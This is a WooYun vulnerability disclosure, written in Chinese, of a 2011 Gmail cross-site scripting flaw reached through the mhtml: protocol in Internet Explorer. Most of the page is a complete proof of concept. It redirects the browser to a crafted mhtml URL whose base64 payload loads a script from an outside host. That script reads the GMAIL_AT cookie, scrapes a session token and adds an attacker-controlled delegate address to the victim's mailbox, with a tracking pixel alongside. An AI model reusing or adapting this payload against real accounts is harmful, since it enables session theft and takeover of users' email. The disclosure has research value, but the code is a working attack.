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缺陷编号:wooyun-2011-02011

漏洞标题:Gmail的XSS一枚

相关厂商:Google.com

漏洞作者: Jacks

提交时间:2011-04-29 17:56

修复时间:2011-04-29 18:18

公开时间:2011-04-29 18:18

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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分享漏洞:


漏洞详情

披露状态:

2011-04-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-04-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

还是跟mhtml有关.详细请看下面咯。

详细说明:

已经补掉了...现在放出给大家分享下完整的POC!

漏洞证明:

<script language="javascript"> 
function detectOS() {
var sUserAgent = navigator.userAgent;
var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows");

if (isWin) {
var isWin2K = sUserAgent.indexOf("Windows NT 5.0") > -1 || sUserAgent.indexOf("Windows 2000") > -1;
var isWinXP = sUserAgent.indexOf("Windows NT 5.1") > -1 || sUserAgent.indexOf("Windows XP") > -1;
var isWin2003 = sUserAgent.indexOf("Windows NT 5.2") > -1 || sUserAgent.indexOf("Windows 2003") > -1;
if (isWin2K || isWinXP ||isWin2003) document.location="mhtml:https://mail.google.com/support/bin/answer.py?answer=6576&cbid=-1vw2scem46j8f&src=cb&lev= index&answer=%250AContent-Location:viki%250aContent-Transfer-Encoding:base64%250D250DPHNjcmlwdCBzcmM9aHR0cDovL3d3dy5qYWNrcy5jb20vamFjay5qcz48L3NjcmlwdD4=!viki";

var isWinVista = sUserAgent.indexOf("Windows NT 6.0") > -1 || sUserAgent.indexOf("Windows Vista") > -1;
var isWin7 = sUserAgent.indexOf("Windows NT 6.1") > -1 || sUserAgent.indexOf("Windows 7") > -1;
if (isWin7 || isWinVista ) document.location="mhtml:https://mail.google.com/support/bin/answer.py?answer=6576&cbid=-1vw2scem46j8f&src=cb&lev= index&answer=%0AContent-Location:viki%0aContent-Transfer-Encoding:base640L0DPHNjcmlwdCBzcmM9aHR0cDovL3d3dy5qYWNrcy5jb20vamFjay5qcz48L3NjcmlwdD4=!viki";
}
return "other";
}

detectOS();

</script>


Content-Transfer-Encoding:后的需要base64编码.调用一个js.

<script src=http://www.jacks.com/jack.js></script>


JS代码如下:

document.write('<iframe id=ifr width=0 height=0 onload="crosscookie()" src="http://mail.google.com/mail/x/"></iframe><img src="http://www.spypig.com/67fcfa37-4240-11e0-8986-00188be7649a/pig.gif" width=0>');
function crosscookie(){
var KEY = 'GMAIL_AT';
var MAIL = '[email protected]'
ifr = ifr.contentWindow ? ifr.contentWindow : ifr.contentDocument;
var cookies = ifr.document.cookie.split(/\s*;\s*/);
var GMAIL_AT;
var IK;
for(var i = 0, len = cookies.length; i < len; i++){
var arr = cookies[i].split(/\s*=\s*/);
if(arr[0] == KEY) {
GMAIL_AT = arr[1];

}
}
var xhr = new ifr.ActiveXObject('Microsoft.XMLHttp');
xhr.open('GET', 'https://mail.google.com/mail/', false);
xhr.send();
var source = xhr.responseText;
var reg = /GLOBALS=\[/;
var result = reg.exec(source);
var pos = result.index + (result + '').length;
var len = source.length;
var l = 1;
var start = pos;
while(pos < len){
var c = source.charAt(pos);
if(c === '[') {
l++;
} else if(c === ']'){
l--;
}
if(l === 0) break;
pos++;
}
IK = eval('[' + source.substring(start, pos) + ']')[9];
xhr.open('POST', 'https://mail.google.com/mail/?ui=2&ik=' + IK + '&view=mdlg&at=' + GMAIL_AT, false);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
xhr.send('mdrp=1&mda=' + MAIL);
document.location="http://www.xxxx.com/images/scan.jpg";
//window.close();
}


能做什么就不用我多说了把?

修复方案:

官方已经修复了,放出来,研究mail xss的人看吧!这类东西某些部门还是非常喜欢的!
还是mhtml问题哈~

版权声明:转载请注明来源 Jacks@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:10 (WooYun评价)